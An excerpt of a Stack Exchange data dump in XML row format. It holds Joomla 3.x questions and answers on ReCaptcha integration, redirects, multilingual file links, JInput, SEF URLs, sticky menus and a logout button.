  <row Id="16079" PostTypeId="2" ParentId="16078" CreationDate="2016-04-08T20:11:40.763" Score="8" Body="&lt;h2&gt;Answer for Joomla! users&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Well, that is not a very simple one to answer, and others have already tried to explain.&lt;br/&gt;Namely:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/9544&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub Issue #9544&lt;/a&gt;&lt;br/&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/15856/how-can-i-use-google-recaptcha-in-my-custom-page&quot;&gt;Similar post in Joomla.StackExchange.com&lt;/a&gt;&lt;br/&gt;&#xA;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=710&amp;amp;t=874688&amp;amp;sid=25d08b72c4123ab7552a40826e44cd2b&amp;amp;start=30&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Forum Related Post&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What actually happened is that some details of the default captcha included in Joomla changed, and custom form developers &lt;strong&gt;that do not use a certain method to include it in their forms&lt;/strong&gt;, need to update their code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, &lt;strong&gt;make sure that you are using the latest version of the extension that stopped working&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are 100% sure about that, you would need to contact the custom form developer and let them know of the issue. Including a link to this page may help them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you consider yourself to be confident enough with PHP, you can try to dive into the custom form code, and follow the instructions given for developers, below, until an update is issued by the custom form developer.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Answer for Developers&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The ReCaptcha plugin code changed. Specifically, the function &lt;code&gt;onInit&lt;/code&gt; was changed in file &lt;code&gt;plugins/captcha/recaptcha/recaptcha.php&lt;/code&gt;. This problem will most certainly occur to your form, if you followed the instructions from &lt;a href=&quot;https://stackoverflow.com/questions/12840015/how-to-use-joomla-recaptcha-plugin-to-my-custom-module#answer-12860744&quot;&gt;this StackOverflow answer&lt;/a&gt;.&lt;br/&gt;&#xA;Many developers followed this &lt;em&gt;obviously not so good&lt;/em&gt; idea, instead of using the &lt;code&gt;JFormField&lt;/code&gt;s, including Virtuemart, HikaShop, and myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surprisingly enough, the &lt;code&gt;$id&lt;/code&gt; option included in this function, is no longer used. Instead, the file &lt;code&gt;media/plg_captcha_recaptcha/js/recaptcha.min.js&lt;/code&gt; was introduced, to provide a callback function for the Google ReCaptcha script:&lt;br/&gt;&lt;code&gt;https://www.google.com/recaptcha/api.js?onload=JoomlaInitReCaptcha2&amp;amp;render=explicit&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some &lt;em&gt;hopefully good&lt;/em&gt; reason, the Joomla team hardcoded the expected field class in the recaptcha.js file to be &lt;code&gt;g-recaptcha&lt;/code&gt; and stopped using the field &lt;code&gt;id&lt;/code&gt; overall. So, as also indicated in the links provided, any field without this &lt;code&gt;class&lt;/code&gt;, and a &lt;code&gt;data-sitekey&lt;/code&gt; attribute with the ReCaptcha Public Key as its value, won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankfully, the solution is very simple. Use the &lt;code&gt;JCaptcha&lt;/code&gt; class instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$captcha_plugin = JFactory::getConfig()-&amp;gt;get('captcha');&#xA;if ($captcha_plugin != '0') {&#xA;  $captcha = JCaptcha::getInstance($captcha_plugin);&#xA;  $field_id = 'your_old_and_useless_id';&#xA;  print $captcha-&amp;gt;display($field_id, $field_id, 'g-recaptcha');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, of course, a one-liner version. Yay!!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print (JFactory::getConfig()-&amp;gt;get('captcha') != '0') ? JCaptcha::getInstance(JFactory::getConfig()-&amp;gt;get('captcha'))-&amp;gt;display('old_field_id', 'old_field_id', 'g-recaptcha') : '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="405" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-04-08T20:17:35.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16082" PostTypeId="2" ParentId="10338" CreationDate="2016-04-08T22:34:25.237" Score="0" Body="&lt;p&gt;Component -&gt; Redirect expects you to enter the full urls for both the source and the destination.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-08T22:34:25.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16083" PostTypeId="2" ParentId="8742" CreationDate="2016-04-08T22:51:09.387" Score="2" Body="&lt;p&gt;This is normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are so many bots trawling the web for vulnerabilities that you will end up with thousands of urls stored in the database by the Redirect Component in a short period of time and most of these will be for urls that have never existed on your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is probably best to only set &quot;Collect URLs&quot; to enabled in the &quot;System - Redirect&quot; plugin for a few days at a time to check for any legitimate redirects that need to be enabled. Sorting the list by the &quot;404 Hits&quot; column helps to find the legitimate broken links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have completed a session, there is now (since Joomla 3.5.0) a &quot;Purge Unpublished&quot; option in the component to purge the unwanted redirect urls from the database.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-08T22:51:09.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16086" PostTypeId="1" AcceptedAnswerId="16087" CreationDate="2016-04-09T11:01:56.123" Score="1" ViewCount="66" Body="&lt;p&gt;I have multilangual website with two languages. When I open article editor I try to insert to an article a link to some file for example to &lt;strong&gt;REC.zip&lt;/strong&gt; that is in the root folder of my website&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the front-end I see that the link has url like &lt;code&gt;mydomain.com/REC.zip&lt;/code&gt; so that's ok. But when I click the link, Joomla redirects me to the &lt;code&gt;mydomain.com/en/REC.zip&lt;/code&gt; url so I get the 404 error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add to the &lt;code&gt;.htaccess&lt;/code&gt; file the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 http://mydomain.com/en/REC.zip http://mydomain.com/REC.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the 404 error again or get the endless looping error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.5.1&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2016-04-09T17:53:26.747" Title="How to insert a link to some file in multilangual website" Tags="|joomla-3.x|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16087" PostTypeId="2" ParentId="16086" CreationDate="2016-04-09T17:53:26.747" Score="2" Body="&lt;p&gt;You have this error because the default language in your site is &quot;&lt;strong&gt;en&lt;/strong&gt;&quot;, the language &lt;br/&gt;is managed by joomla!, not by directories, we have some solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, maybe the best way is create a new folder for your files in the default &lt;br/&gt;multimedia folder, in &lt;strong&gt;your_site.com/images&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;images&lt;br/&gt;&#xA;- files&lt;br/&gt;&#xA;-- en&lt;br/&gt;&#xA;-- de&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the link in your content like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://your_site.com/images/files/en/file.zip&quot; target=&quot;_blank&quot;&amp;gt;Download&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;images/files/en/file.zip&quot; target=&quot;_blank&quot;&amp;gt;Download&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In modern browser you have this option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;images/files/en/file.zip&quot; download=&quot;File Name&quot;&amp;gt;Download&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, we have a problem with the above solution, if you want to restrict the access&lt;br/&gt; to the download file, other users can download the file withouth restriction if they &lt;br/&gt;have the full url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the best solution is use some extension that makes use of MVC and allow&lt;br/&gt; restrictions, you can try with &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/directory-a-documentation/downloads/osdownloads&quot; rel=&quot;nofollow&quot;&gt;OSDownloads&lt;/a&gt; or &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/directory-a-documentation/downloads/jdownloads&quot; rel=&quot;nofollow&quot;&gt;JDownloads&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-04-09T17:53:26.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16088" PostTypeId="1" CreationDate="2016-04-09T18:22:27.720" Score="-2" ViewCount="163" Body="&lt;p&gt;I need to know how I would be able to access and modify existing or add my own custom server side code to my Joomla! 3 website. I have tried numerous keyword searches and also tried searching through the forums, etc, and can not find anything. I can add inline JavaScript to my web pages with Sourcerer extension but need to be able to add server side code, say to process a form submission.&lt;/p&gt;&#xA;" OwnerUserId="8210" LastActivityDate="2016-04-10T16:58:05.850" Title="Joomla 3, How can I access the server side code?" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ClosedDate="2016-04-11T05:41:33.453" ContentLicense="CC BY-SA 3.0" />
  <row Id="16089" PostTypeId="2" ParentId="16088" CreationDate="2016-04-09T18:28:43.437" Score="0" Body="&lt;p&gt;If you mean the PHP, HTML, and CSS files in your Joomla installation folder on your server they are in your template settings. &lt;/p&gt;&#xA;" OwnerUserId="8130" LastActivityDate="2016-04-09T18:28:43.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16090" PostTypeId="2" ParentId="16088" CreationDate="2016-04-09T20:02:35.077" Score="0" Body="&lt;p&gt;Processing server-side code is main purpose and reason for existence of Joomla extensions, mainly components. There are thousands of extensions available on &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directory&lt;/a&gt;, and many of them are dealing with &lt;a href=&quot;http://extensions.joomla.org/category/contacts-and-feedback/forms&quot; rel=&quot;nofollow&quot;&gt;Forms&lt;/a&gt;, out of which most popular are &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/rsform-pro&quot; rel=&quot;nofollow&quot;&gt;RSForms&lt;/a&gt; and &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/breezingforms&quot; rel=&quot;nofollow&quot;&gt;Breezing Forms&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-04-09T20:02:35.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16092" PostTypeId="1" AcceptedAnswerId="16094" CreationDate="2016-04-10T04:29:25.403" Score="0" ViewCount="3132" Body="&lt;p&gt;I'm using Joomla 3.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change style of my pagination. I already add pagination.php to my template folder and change the html and classes, it works at featured, category ... except article site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell me how to override joomla article pagination? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8212" LastActivityDate="2016-04-10T16:47:48.570" Title="How to override joomla article pagination" Tags="|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16094" PostTypeId="2" ParentId="16092" CreationDate="2016-04-10T16:47:48.570" Score="1" Body="&lt;p&gt;Assuming you mean the &quot;Prev&quot; / &quot;Next&quot; navigation, then that is set at plugins/content/pagenavigation/tmpl/default.php and can be overridden at templates/YOURTEMPLATE/html/plg_content_pagenavigation/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further info from Joomla's documentation is available &lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-04-10T16:47:48.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16095" PostTypeId="2" ParentId="16088" CreationDate="2016-04-10T16:58:05.850" Score="1" Body="&lt;p&gt;Sourcerer may make things quick, but spend some time looking into plugins, modules, templates and components. That's the right way of extending the Joomla framework.  There are plenty of tutorials on creating these on Joomla's website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a single form, a module is probably what you'd need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sourcerer adds lots of display code to your database, which really isn't very good from the perspective of keeping things tidy.  Trying to tidy up or re-skin a site built using sourcerer is a nightmare!&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-04-10T16:58:05.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16096" PostTypeId="1" AcceptedAnswerId="16100" CreationDate="2016-04-10T18:03:49.430" Score="4" ViewCount="3295" Body="&lt;p&gt;As we know we can retrieve values of all the fields if they have names like &lt;code&gt;name=&quot;jform[something]&quot;&lt;/code&gt; and we can use the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$formData = new JRegistry($jinput-&amp;gt;get('jform', '', 'array'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is there some way to do the same if we have form with some name for example &lt;code&gt;&amp;lt;form name=&quot;myForm&quot;&amp;gt;&lt;/code&gt; and fields with names like &lt;code&gt;name=&quot;something&quot;&lt;/code&gt; i.e. without &lt;code&gt;jform[]&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.5.1&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2016-04-11T09:33:36.647" LastActivityDate="2016-04-11T09:33:36.647" Title="How to retrieve values of all the fields with JInput but without jform[]" Tags="|joomla-3.x|jform|jinput|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16100" PostTypeId="2" ParentId="16096" CreationDate="2016-04-11T05:55:00.243" Score="5" Body="&lt;p&gt;Yes, you can get the form values without jform. Following is the approach:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;$data = $jinput-&amp;gt;post&lt;/code&gt; : returns all post data&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$something =  $jinput-&amp;gt;post-&amp;gt;get('something', 'default_value', 'filter');&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Refer here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput#Getting_Values_from_a_Specific_Super_Global&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput#Getting_Values_from_a_Specific_Super_Global&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;$data = $jinput-&amp;gt;post-&amp;gt;getArray()&lt;/code&gt; : this is the preferred method for you as it will return only the form fields with and without &lt;code&gt;jform&lt;/code&gt; and not the entire post values.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-04-11T05:55:00.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16101" PostTypeId="2" ParentId="14929" CreationDate="2016-04-11T06:38:31.273" Score="-1" Body="&lt;p&gt;I think this is a better solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('a.user_id')&#xA;      -&amp;gt;from('#__user_usergroup_map as a')&#xA;      -&amp;gt;where('a.group_id = '.$db-&amp;gt;quote(&quot;10&quot;))&#xA;      -&amp;gt;where('a.user_id NOT IN (SELECT id FROM #__clients)');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway pay attention to the insert query, you should use &lt;strong&gt;values&lt;/strong&gt; instead of &lt;strong&gt;set&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Inserting_a_Record&quot; rel=&quot;nofollow&quot;&gt;Check this page for more details on Joomla Insert/Update queries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-04-11T06:38:31.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16103" PostTypeId="1" CreationDate="2016-04-11T10:23:06.430" Score="1" ViewCount="923" Body="&lt;p&gt;I wrote a component and made a router.php by documents in Joomla.org. &#xA;My problem is that how can I remove item view from URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I have this view -&gt; musicses, now my SEF URL is like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/music/99-2016-03-13-06-12-39/musics/3-music77.html?layout=article&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want change it like this : /music/music77.html&lt;br&gt;&#xA;music77 is my title for this post,  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sandbox.onlinephpfunctions.com/code/bdcb649b90aae2b415e53054be7d65448cf30493&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sandbox.onlinephpfunctions.com/code/bdcb649b90aae2b415e53054be7d65448cf30493&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8215" LastEditorUserId="126" LastEditDate="2016-11-25T05:57:24.000" LastActivityDate="2018-07-18T15:55:37.607" Title="How to change SEF urls to remove item view from url?" Tags="|joomla-3.x|component|sef|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16104" PostTypeId="1" CreationDate="2016-04-11T10:46:03.060" Score="3" ViewCount="2339" Body="&lt;p&gt;I'm using helix3 template and I want to make the menu sticky to the top of the page, and to change its style when scrolling.&#xA;how can I achieve that!&lt;/p&gt;&#xA;" OwnerUserId="8167" LastActivityDate="2016-04-11T20:46:52.423" Title="I want to make the menu sticky" Tags="|joomla-3.x|menu|helix3|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16105" PostTypeId="2" ParentId="16104" CreationDate="2016-04-11T10:49:52.130" Score="2" Body="&lt;p&gt;Having done a quick Google search (hint), I believe the Helix 3 templates supports a fixed/sticky header in the Template Options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W8UT2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W8UT2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-11T10:49:52.130" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16109" PostTypeId="2" ParentId="16031" CreationDate="2016-04-11T16:10:00.937" Score="4" Body="&lt;p&gt;I had the exact same issue on two 3.5.0 instances. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out that media/com_joomlaupdate was missing the /js directory.  The file update.js in the /js directory is what declares pingExtract&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the full package of Joomla extracted the directory and placed it where it in media/com_joomlaupdate and it resolved the issue. &lt;/p&gt;&#xA;" OwnerUserId="8219" LastEditorUserId="8219" LastEditDate="2016-04-14T14:36:40.913" LastActivityDate="2016-04-14T14:36:40.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16110" PostTypeId="1" CreationDate="2016-04-11T17:02:46.983" Score="4" ViewCount="188" Body="&lt;p&gt;I want to create a button that allows me to &lt;strong&gt;disconnect the user&lt;/strong&gt;, i have searched and found that the module of type &quot;connexion&quot; is what i need, but it doesnt work for me, it gives me an error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so what i want to know is how can i create a button with php/html that disconnect the user?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/s4VLq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s4VLq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7664" LastActivityDate="2016-04-13T05:46:08.900" Title="Disconnect button" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16111" PostTypeId="2" ParentId="16110" CreationDate="2016-04-11T19:59:23.283" Score="8" Body="&lt;p&gt;You can create a simple logout-link like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $user = JFactory::getUser();&#xA;    $userToken = JSession::getFormToken();&#xA;    if (!$user-&amp;gt;guest) : ?&amp;gt;&#xA;        &amp;lt;a href=&quot;index.php?option=com_users&amp;amp;task=user.logout&amp;amp;&amp;lt;?php echo $userToken; ?&amp;gt;=1&quot; class=&quot;btn&quot;&amp;gt;Log out&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;kbd&gt;Log out&lt;/kbd&gt; button will only be visible to logged-in users, and when clicked the user will be logged out instantly. If you also want to show a &lt;kbd&gt;Login&lt;/kbd&gt; button, you can modify the PHP if/else statement and display a link to the login page (&lt;code&gt;index.php?option=com_users&amp;amp;view=login&lt;/code&gt;) for guests.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $user = JFactory::getUser();&#xA;    $userToken = JSession::getFormToken();&#xA;    if ($user-&amp;gt;guest) : ?&amp;gt;&#xA;        &amp;lt;a href=&quot;index.php?option=com_users&amp;amp;view=login&quot; class=&quot;btn&quot;&amp;gt;Log in&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;        &amp;lt;a href=&quot;index.php?option=com_users&amp;amp;task=user.logout&amp;amp;&amp;lt;?php echo $userToken; ?&amp;gt;=1&quot; class=&quot;btn&quot;&amp;gt;Log out&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The combination of PHP and HTML is necessary because we need to get the &lt;em&gt;user token&lt;/em&gt;, without it the link will fail.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Usage:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The code can be used in several ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Download from GitHub&lt;/strong&gt;&lt;br&gt;&#xA;This module is available on GitHub as an installable Joomla module: &lt;a href=&quot;https://github.com/Joomla-StackExchange/loginButton&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-StackExchange/loginButton&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Custom HTML&lt;/strong&gt;&lt;br&gt;&#xA;Some Custom HTML modules accept PHP code (the one included in Joomla by default does not). I recommend &lt;a href=&quot;http://extensions.joomla.org/extension/custom-html-advanced&quot; rel=&quot;nofollow&quot;&gt;Custom HTML Advanced&lt;/a&gt;. Just paste the code and publish the module wherever you want the button to show up. Remember you can also place a module anywhere using &lt;code&gt;{loadposition YourModulePosition}&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sourcerer&lt;/strong&gt;&lt;br&gt;&#xA;You can add PHP code anywhere using NoNumbers &lt;a href=&quot;http://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Sourcerer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php &#xA;    $user = JFactory::getUser();&#xA;    $userToken = JSession::getFormToken();&#xA;    if (!$user-&amp;gt;guest) : ?&amp;gt;&#xA;        &amp;lt;a href=&quot;index.php?option=com_users&amp;amp;task=user.logout&amp;amp;&amp;lt;?php echo $userToken; ?&amp;gt;=1&quot; class=&quot;btn&quot;&amp;gt;Log out&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Build a module&lt;/strong&gt;&lt;br&gt;&#xA;You can build your own module, it's easier than it sounds. A basic tutorial can be found &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add to your template&lt;/strong&gt;&lt;br&gt;&#xA;You can also paste the code directly into your Joomla template, usually &lt;code&gt;ROOT\templates\YOURTEMPLATE\index.php&lt;/code&gt;. This is the least flexible solution, but might be a quick solution depending on how your template is configured.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2016-04-13T05:46:08.900" LastActivityDate="2016-04-13T05:46:08.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16112" PostTypeId="2" ParentId="16104" CreationDate="2016-04-11T20:46:52.423" Score="4" Body="&lt;p&gt;Based on the &lt;a href=&quot;http://demo.joomshaper.com/2015/helix3/&quot; rel=&quot;nofollow&quot;&gt;template demo&lt;/a&gt; and , I put together a quick solution using jQuery and CSS, but if your template has been customized, this might not work as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.fixedMenu {&#xA;    position: fixed;&#xA;    top: 0;&#xA;    z-index: 10;&#xA;    width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;jQuery&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(window).bind('scroll', function () {&#xA;    if (jQuery(window).scrollTop() &amp;gt; 90) {&#xA;        jQuery('#sp-header').addClass('fixedMenu ');&#xA;    } else {&#xA;        jQuery('#sp-header').removeClass('fixedMenu ');&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-04-11T20:46:52.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16113" PostTypeId="1" AcceptedAnswerId="16114" CreationDate="2016-04-12T08:54:03.353" Score="-1" ViewCount="60" Body="&lt;p&gt;I have created a menu item for UserExtranet, but don't really know how to proceed to display it on the frontend.&#xA;Any help?&lt;/p&gt;&#xA;" OwnerUserId="7664" LastActivityDate="2016-04-12T09:26:34.370" Title="How to set up the front end of UserExtranet?" Tags="|joomla-3.x|extensions|" AnswerCount="1" CommentCount="0" ClosedDate="2016-04-13T03:54:21.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="16114" PostTypeId="2" ParentId="16113" CreationDate="2016-04-12T09:26:34.370" Score="0" Body="&lt;p&gt;Go to Manage Permissions page in backend and check if user you are logged in frontend have extranet access enabled. &#xA;To make it easier use the search filter and search for the user you want to check access and Extranet Access cell will show you if user can access extranet ( green icon ) or not ( red icon ). &#xA;If user can access extranet but you still get access denied message that means there is no folder user is allowed to see. &#xA;From Manage Permissions page click the user name and you'll be redirected to a new page where you can set folders can be viewed by the user. Check folders you want to make visible for the user also check the tasks he can take against files inside folders ( View, Download, Edit, Add, Delete ), tick Recurse into subfolders checkbox only if you want to apply access and choosen tasks for all folders inside main folder, at any level depth and press Apply Permissions button in the toolbar. &lt;/p&gt;&#xA;" OwnerUserId="7664" LastActivityDate="2016-04-12T09:26:34.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
